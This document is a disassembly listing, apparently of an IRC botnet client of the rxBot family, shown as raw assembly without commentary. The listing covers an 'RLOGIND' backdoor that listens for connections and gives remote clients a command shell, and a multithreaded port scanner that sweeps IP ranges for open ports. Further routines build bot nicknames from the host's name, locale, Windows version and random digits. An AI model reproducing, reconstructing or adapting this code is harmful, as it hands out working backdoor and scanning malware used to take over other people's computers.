		lea	edi, [ebp+var_214]
		push	1
		rep movsd
		pop	edi
		mov	[eax+1DCh], edi
		lea	eax, [ebp+var_5A4]
		push	eax
		push	202h
		call	dword_42EB38	; WSAStartup
		xor	esi, esi
		cmp	eax, esi
		jz	short loc_40F49E
		push	eax		; Args
		push	offset aRlogindErrorWs ; "[RLOGIND]: Error: WSAStartup(): <%d>."
		call	sub_402DD7
		push	[ebp+var_4C]
		call	sub_411F56
		add	esp, 0Ch
		push	edi
		call	ds:dword_41B06C	; ExitThread


loc_40F49E:				; CODE XREF: sub_40F445+3Aj
		push	edi
		push	offset loc_40F6C3
		call	ds:dword_41B13C	; SetConsoleCtrlHandler
		test	eax, eax
		jnz	short loc_40F4D7
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset aRlogindFaile_0 ; "[RLOGIND]: Failed to install control-C "...
		call	sub_402DD7
		pop	ecx
		pop	ecx
		call	dword_42EB20	; WSACleanup
		push	[ebp+var_4C]
		call	sub_411F56
		pop	ecx
		push	edi
		call	ds:dword_41B06C	; ExitThread


loc_40F4D7:				; CODE XREF: sub_40F445+67j
		push	ebx
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_50]
		call	dword_42EBB4	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], esi
		call	dword_42EC30	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40F64E
		mov	eax, [ebp+var_4C]
		push	10h
		imul	eax, 234h
		mov	dword_43054C[eax], ebx
		lea	eax, [ebp+Dst]
		push	eax
		push	ebx
		call	dword_42EBE0	; bind
		test	eax, eax
		jnz	loc_40F64E
		push	7FFFFFFFh
		push	ebx
		call	dword_42EBDC	; listen
		test	eax, eax
		jnz	loc_40F64E
		push	offset aRlogindReadyAn ; "[RLOGIND]: Ready and waiting for incomi"...
		mov	[ebp+var_10], 0Ch
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		call	sub_402D63
		pop	ecx
		mov	[ebp+arg_0], edi


loc_40F566:				; CODE XREF: sub_40F445+15Aj
					; sub_40F445+1E4j
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		call	dword_42EC44	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_40F651
		push	[ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	eax
		push	8
		push	0FFFFh
		push	edi
		call	dword_42EB94	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40F566
		movzx	eax, [ebp+var_32]
		push	[ebp+var_4C]
		mov	[ebp+var_38], esi
		push	eax
		push	[ebp+var_30]
		call	dword_42EC3C	; inet_ntoa
		push	eax
		lea	eax, [ebp+Source]
		push	offset aRlogindClientC ; "[RLOGIND]: Client connection from IP:	%"...
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Source]
		push	eax
		call	sub_402D63
		push	edi		; int
		lea	eax, [ebp+Source]
		push	6		; int
		push	eax		; Source
		call	sub_411C3A
		mov	[ebp+var_48], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_4C]
		add	esp, 24h
		mov	dword_430544[eax], ecx
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_214]
		push	esi
		push	eax
		push	offset sub_40F1B7
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	ds:dword_41B064	; CreateThread
		mov	ecx, [ebp+var_48]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_430554[ecx], eax
		jz	short loc_40F639


loc_40F626:				; CODE XREF: sub_40F445+1F2j
		cmp	[ebp+var_38], esi
		jnz	loc_40F566
		push	32h
		call	ds:dword_41B048	; Sleep
		jmp	short loc_40F626
; ---------------------------------------------------------------------------


loc_40F639:				; CODE XREF: sub_40F445+1DFj
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset aRlogindFaile_1 ; "[RLOGIND]: Failed to start client threa"...
		call	sub_402DD7
		pop	ecx
		pop	ecx
		jmp	short loc_40F651
; ---------------------------------------------------------------------------


loc_40F64E:				; CODE XREF: sub_40F445+C8j
					; sub_40F445+ECj ...
		mov	edi, [ebp+arg_0]


loc_40F651:				; CODE XREF: sub_40F445+13Cj
					; sub_40F445+207j
		call	dword_42EB50	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Source]
		push	offset aRlogindError_0 ; "[RLOGIND]: Error: server failed, return"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_3C], esi
		jnz	short loc_40F691
		push	esi		; int
		lea	eax, [ebp+Source]
		push	[ebp+var_40]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_214]	; int
		call	sub_405E64
		add	esp, 14h


loc_40F691:				; CODE XREF: sub_40F445+22Aj
		lea	eax, [ebp+Source]
		push	eax
		call	sub_402D63
		pop	ecx
		push	edi
		call	dword_42EC48	; closesocket
		push	ebx
		call	dword_42EC48	; closesocket
		call	dword_42EB20	; WSACleanup
		push	[ebp+var_4C]
		call	sub_411F56
		pop	ecx
		push	esi
		call	ds:dword_41B06C	; ExitThread
		pop	ebx


loc_40F6C3:				; DATA XREF: sub_40F445+5Ao
		xor	eax, eax
		cmp	[esp+5E0h+var_5DC], eax
		setz	al
		retn
sub_40F445	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40F6CD(char *Dest)

sub_40F6CD	proc near		; CODE XREF: sub_40FA38+49p
					; DATA XREF: .data:off_427798o

var_C		= dword	ptr -0Ch
Dest		= dword	ptr  4

		push	esi
		push	edi
		call	ds:dword_41B078	; GetTickCount
		push	eax
		call	sub_41274C
		mov	edi, [esp+0Ch+Dest]
		mov	[esp+0Ch+var_C], offset	aFf_1 ;	"[FF]-"
		push	offset aS_2	; "%s"
		push	1Ch		; Count
		push	edi		; Dest
		call	__snprintf
		xor	esi, esi
		add	esp, 10h
		cmp	dword_424A64, esi
		jle	short loc_40F726


loc_40F700:				; CODE XREF: sub_40F6CD+57j
		call	_rand
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch		; Count
		push	edi		; Dest
		call	__snprintf
		add	esp, 14h
		inc	esi
		cmp	esi, dword_424A64
		jl	short loc_40F700


loc_40F726:				; CODE XREF: sub_40F6CD+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40F6CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F72B	proc near		; CODE XREF: sub_409557+3601p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	ds:dword_41B078	; GetTickCount
		push	eax
		call	sub_41274C
		pop	ecx
		call	_rand
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_424A64
		test	esi, esi
		jle	short loc_40F76E


loc_40F758:				; CODE XREF: sub_40F72B+41j
		call	_rand
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40F758


loc_40F76E:				; CODE XREF: sub_40F72B+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40F72B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	ds:dword_41B078	; GetTickCount
		push	eax
		call	sub_41274C
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_4277F4
		push	eax
		push	esi
		call	ds:dword_41B0FC	; GetComputerNameA
		movsx	eax, byte_4277F4
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_40F7B4:				; CODE XREF: .text:0040F7BFj
		cmp	eax, ecx
		jnz	short loc_40F7BB
		mov	[ebp-4], edx


loc_40F7BB:				; CODE XREF: .text:0040F7B6j
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40F7B4
		push	61h
		pop	ecx


loc_40F7C4:				; CODE XREF: .text:0040F7CFj
		cmp	eax, ecx
		jnz	short loc_40F7CB
		mov	[ebp-4], edx


loc_40F7CB:				; CODE XREF: .text:0040F7C6j
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40F7C4
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	__snprintf
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_424A64, esi
		jle	short loc_40F810


loc_40F7EA:				; CODE XREF: .text:0040F80Ej
		call	_rand
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	__snprintf
		add	esp, 14h
		inc	esi
		cmp	esi, dword_424A64
		jl	short loc_40F7EA


loc_40F810:				; CODE XREF: .text:0040F7E8j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	ds:dword_41B078	; GetTickCount
		push	eax
		call	sub_41274C
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	ds:dword_41B140	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_4277F8
		push	1Ch
		push	edi
		call	__snprintf
		xor	esi, esi
		add	esp, 10h
		cmp	dword_424A64, esi
		jle	short loc_40F885


loc_40F85F:				; CODE XREF: .text:0040F883j
		call	_rand
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	__snprintf
		add	esp, 14h
		inc	esi
		cmp	esi, dword_424A64
		jl	short loc_40F85F


loc_40F885:				; CODE XREF: .text:0040F85Dj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_428D64
		mov	dword ptr [ebp-94h], 94h
		call	ds:dword_41B144	; GetVersionExA
		call	ds:dword_41B078	; GetTickCount
		push	eax
		call	sub_41274C
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40F90F
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40F8EF
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40F8DF
		mov	esi, offset a95	; "95"


loc_40F8DF:				; CODE XREF: .text:0040F8D8j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40F94B
		mov	esi, offset aNt	; "NT"
		jmp	short loc_40F94B
; ---------------------------------------------------------------------------


loc_40F8EF:				; CODE XREF: .text:0040F8CFj
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40F8FF
		mov	esi, offset a98	; "98"
		jmp	short loc_40F94B
; ---------------------------------------------------------------------------


loc_40F8FF:				; CODE XREF: .text:0040F8F6j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40F946
		mov	esi, offset aMe_0 ; "ME"
		jmp	short loc_40F94B
; ---------------------------------------------------------------------------


loc_40F90F:				; CODE XREF: .text:0040F8C6j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40F946
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40F928
		mov	esi, offset a2k	; "2K"
		jmp	short loc_40F94B
; ---------------------------------------------------------------------------


loc_40F928:				; CODE XREF: .text:0040F91Fj
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40F938
		mov	esi, offset aXp	; "XP"
		jmp	short loc_40F94B
; ---------------------------------------------------------------------------


loc_40F938:				; CODE XREF: .text:0040F92Fj
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset a2k3 ; "2K3"
		jz	short loc_40F94B


loc_40F946:				; CODE XREF: .text:0040F906j
					; .text:0040F916j
		mov	esi, offset a??? ; "???"


loc_40F94B:				; CODE XREF: .text:0040F8E6j
					; .text:0040F8EDj ...
		mov	edi, [ebp+8]
		push	esi
		push	offset aS_5	; "[%s]|"
		push	1Ch
		push	edi
		call	__snprintf
		xor	esi, esi
		add	esp, 10h
		cmp	dword_424A64, esi
		jle	short loc_40F98F


loc_40F969:				; CODE XREF: .text:0040F98Dj
		call	_rand
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	__snprintf
		add	esp, 14h
		inc	esi
		cmp	esi, dword_424A64
		jl	short loc_40F969


loc_40F98F:				; CODE XREF: .text:0040F967j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40F995(char *Source)

sub_40F995	proc near		; CODE XREF: sub_40FA38+5Cp

Dest		= byte ptr -1Ch
Source		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	ds:dword_41B078	; GetTickCount
		xor	edx, edx
		mov	ecx, 337F9800h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 0Ah
		jbe	short loc_40F9E4
		call	dword_42EBC0	; FindWindowA
		test	eax, eax
		mov	eax, offset aM	; "[M]"
		jnz	short loc_40F9CD
		mov	eax, offset byte_428D64


loc_40F9CD:				; CODE XREF: sub_40F995+31j
		push	eax
		push	esi
		push	offset aDS	; "[%d]%s"
		lea	eax, [ebp+Dest]
		push	1Ch		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		jmp	short loc_40FA04
; ---------------------------------------------------------------------------


loc_40F9E4:				; CODE XREF: sub_40F995+22j
		call	dword_42EBC0	; FindWindowA
		test	eax, eax
		mov	eax, offset aM	; "[M]"
		jnz	short loc_40F9F8
		mov	eax, offset byte_428D64


loc_40F9F8:				; CODE XREF: sub_40F995+5Cj
		push	eax		; Format
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_40FA04:				; CODE XREF: sub_40F995+4Dj
		lea	eax, [ebp+Dest]
		push	eax		; Str
		call	_strlen
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40FA33
		push	1Ch		; Count
		lea	eax, [ebp+Dest]
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncat
		lea	eax, [ebp+Dest]
		push	1Ch		; Count
		push	eax		; Source
		push	[ebp+Source]	; Dest
		call	_strncpy
		add	esp, 18h


loc_40FA33:				; CODE XREF: sub_40F995+7Dj
		mov	eax, [ebp+Source]
		leave
		retn
sub_40F995	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40FA38(char *Dest,int,int,char *Str1)

sub_40FA38	proc near		; CODE XREF: sub_405C73+10Dp
					; sub_409277+7Fp ...

Source		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Str1		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_427794


loc_40FA44:				; CODE XREF: sub_40FA38+3Fj
		cmp	[ebp+Str1], 0
		jz	short loc_40FA5F
		lea	eax, [esi-0Ch]
		push	eax		; Str2
		push	[ebp+Str1]	; Str1
		call	_strcmp
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40FA69
; ---------------------------------------------------------------------------


loc_40FA5F:				; CODE XREF: sub_40FA38+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40FA69:				; CODE XREF: sub_40FA38+25j
		test	eax, eax
		jnz	short loc_40FA7B
		add	esi, 14h
		inc	edi
		cmp	esi, offset dword_4277F8
		jl	short loc_40FA44
		jmp	short loc_40FA89
; ---------------------------------------------------------------------------


loc_40FA7B:				; CODE XREF: sub_40FA38+33j
		push	[ebp+Source]	; Dest
		lea	eax, [edi+edi*4]
		call	off_427798[eax*4]
		pop	ecx


loc_40FA89:				; CODE XREF: sub_40FA38+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40FA9C
		push	[ebp+Source]	; Source
		call	sub_40F995
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40FA9C:				; CODE XREF: sub_40FA38+57j
		mov	eax, [ebp+Source]
		pop	ebp
		retn
sub_40FA38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FAA1	proc near		; DATA XREF: sub_40FB6E+7Bo

var_B8		= dword	ptr -0B8h
Str		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_B8]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A4h], esi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_34]
		call	dword_42EBB4	; htons
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_42EC30	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40FB5F
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	esi
		call	dword_42EB60	; connect
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43054C[ecx], esi
		jz	short loc_40FB5F
		push	[ebp+var_34]
		push	[ebp+var_28]
		call	dword_42EC3C	; inet_ntoa
		push	eax
		mov	edi, offset byte_4752B8
		push	offset aScanIpSPortD_0 ; "[SCAN]: IP: %s Port: %d is open."
		push	edi		; Dest
		call	_sprintf
		push	0		; int
		lea	eax, [ebp+Str]
		push	[ebp+var_20]	; int
		push	edi		; int
		push	eax		; Str
		push	[ebp+var_B8]	; int
		call	sub_405E64
		push	edi
		call	sub_402D63
		add	esp, 28h


loc_40FB5F:				; CODE XREF: sub_40FAA1+5Dj
					; sub_40FAA1+7Ej
		push	esi
		call	dword_42EC48	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40FAA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame

; int __cdecl sub_40FB6E(int Dst)

sub_40FB6E	proc near		; DATA XREF: sub_409557+2E3Do

Source		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
Src		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
Dst		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+Dst]
		push	esi
		push	edi
		push	2Ah
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, ds:dword_41B048
		mov	dword ptr [ebx+0A0h], 1
		xor	edi, edi


loc_40FB9C:				; CODE XREF: sub_40FB6E+ECj
		push	[ebp+var_2C]
		push	[ebp+Src]
		call	dword_42EC3C	; inet_ntoa
		push	eax
		lea	eax, [ebp+Source]
		push	offset aScanScanningIp ; "[SCAN]: Scanning IP: %s, Port: %d."
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Source]
		push	1FFh		; Count
		push	eax		; Source
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_430340
		push	eax		; Dest
		call	_strncpy
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_40FAA1
		push	edi
		push	edi
		call	ds:dword_41B064	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_40FC08


loc_40FBFD:				; CODE XREF: sub_40FB6E+98j
		cmp	[ebp+var_C], edi
		jnz	short loc_40FC08
		push	32h
		call	esi	; Sleep
		jmp	short loc_40FBFD
; ---------------------------------------------------------------------------


loc_40FC08:				; CODE XREF: sub_40FB6E+8Dj
					; sub_40FB6E+92j
		push	[ebp+var_4]
		call	ds:dword_41B050	; CloseHandle
		push	dword ptr [ebx+88h]
		mov	[ebx+0A4h], edi
		call	esi	; Sleep
		lea	eax, [ebp+Src]
		push	4		; Size
		push	eax		; Src
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		push	[ebp+Dst]
		call	dword_42EAF8	; htonl
		inc	eax
		push	eax
		mov	[ebp+Dst], eax
		call	dword_42EBB0	; htonl
		mov	[ebp+Dst], eax
		lea	eax, [ebp+Dst]
		push	4		; Size
		push	eax		; Src
		lea	eax, [ebp+Src]
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		jmp	loc_40FB9C
sub_40FB6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FC5F	proc near		; CODE XREF: sub_40F1B7+1AFp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_40FDB0
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43054C[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, ds:dword_41B064
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_40FF82
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_40FCCA
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset aRlogindFaile_2 ; "[RLOGIND]: Failed to create ReadShell	s"...
		call	sub_402DD7
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_40FD04
; ---------------------------------------------------------------------------


loc_40FCCA:				; CODE XREF: sub_40FC5F+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410034
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_40FD0B
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset aRlogindFaile_2 ; "[RLOGIND]: Failed to create ReadShell	s"...
		call	sub_402DD7
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	ds:dword_41B124	; TerminateThread


loc_40FD04:				; CODE XREF: sub_40FC5F+69j
		xor	eax, eax
		jmp	loc_40FDAB
; ---------------------------------------------------------------------------


loc_40FD0B:				; CODE XREF: sub_40FC5F+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		call	ds:dword_41B148	; WaitForMultipleObjects
		sub	eax, ebx
		jz	short loc_40FD65
		dec	eax
		jz	short loc_40FD5F
		dec	eax
		jz	short loc_40FD4B
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset aRlogindWaitfor ; "[RLOGIND]: WaitForMultipleObjects error"...
		call	sub_402DD7
		pop	ecx
		pop	ecx
		jmp	short loc_40FD7A
; ---------------------------------------------------------------------------


loc_40FD4B:				; CODE XREF: sub_40FC5F+D5j
		mov	edi, ds:dword_41B124
		push	ebx
		push	dword ptr [esi+14h]
		call	edi	; TerminateThread
		push	ebx
		push	dword ptr [esi+10h]
		call	edi	; TerminateThread
		jmp	short loc_40FD7A
; ---------------------------------------------------------------------------


loc_40FD5F:				; CODE XREF: sub_40FC5F+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_40FD69
; ---------------------------------------------------------------------------


loc_40FD65:				; CODE XREF: sub_40FC5F+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_40FD69:				; CODE XREF: sub_40FC5F+104j
		call	ds:dword_41B124	; TerminateThread
		push	1
		push	dword ptr [esi+8]
		call	ds:dword_41B104	; TerminateProcess


loc_40FD7A:				; CODE XREF: sub_40FC5F+EAj
					; sub_40FC5F+FEj
		push	dword ptr [esi+10h]
		mov	edi, ds:dword_41B050
		call	edi	; CloseHandle
		push	dword ptr [esi+14h]
		call	edi	; CloseHandle
		push	dword ptr [esi+8]
		call	edi	; CloseHandle
		push	dword ptr [esi]
		call	edi	; CloseHandle
		push	dword ptr [esi+4]
		call	edi	; CloseHandle
		push	dword ptr [esi+0Ch]
		call	dword_42EC48	; closesocket
		push	esi		; Memory
		call	_free
		pop	ecx
		push	1
		pop	eax


loc_40FDAB:				; CODE XREF: sub_40FC5F+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FC5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FDB0	proc near		; CODE XREF: sub_40FC5F+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h		; Size
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	_malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_40FE9A
		mov	ebx, ds:dword_41B138
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx	; CreatePipe
		mov	edi, ds:dword_41B050
		test	eax, eax
		jnz	short loc_40FE13
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindFaile_3 ; "[RLOGIND]: Failed to create shell stdou"...
		jmp	short loc_40FE33
; ---------------------------------------------------------------------------


loc_40FE13:				; CODE XREF: sub_40FDB0+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx	; CreatePipe
		test	eax, eax
		jnz	short loc_40FE3B
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset aRlogindFaile_4 ; "[RLOGIND]: Failed to create shell stdin"...


loc_40FE33:				; CODE XREF: sub_40FDB0+61j
		call	sub_402DD7
		pop	ecx
		jmp	short loc_40FE69
; ---------------------------------------------------------------------------


loc_40FE3B:				; CODE XREF: sub_40FDB0+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_40FEA9
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi	; CloseHandle
		push	[ebp+var_8]
		call	edi	; CloseHandle
		cmp	dword ptr [esi+8], 0
		jnz	short loc_40FE9E
		push	offset aRlogindFaile_5 ; "[RLOGIND]: Failed to execute shell."
		call	sub_402D63


loc_40FE69:				; CODE XREF: sub_40FDB0+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_40FE75
		push	[ebp+var_4]
		call	edi	; CloseHandle


loc_40FE75:				; CODE XREF: sub_40FDB0+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_40FE80
		push	[ebp+var_8]
		call	edi	; CloseHandle


loc_40FE80:				; CODE XREF: sub_40FDB0+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40FE89
		push	eax
		call	edi	; CloseHandle


loc_40FE89:				; CODE XREF: sub_40FDB0+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40FE93
		push	eax
		call	edi	; CloseHandle


loc_40FE93:				; CODE XREF: sub_40FDB0+DEj
		push	esi		; Memory
		call	_free
		pop	ecx


loc_40FE9A:				; CODE XREF: sub_40FDB0+1Dj
		xor	eax, eax
		jmp	short loc_40FEA4
; ---------------------------------------------------------------------------


loc_40FE9E:				; CODE XREF: sub_40FDB0+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_40FEA4:				; CODE XREF: sub_40FDB0+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
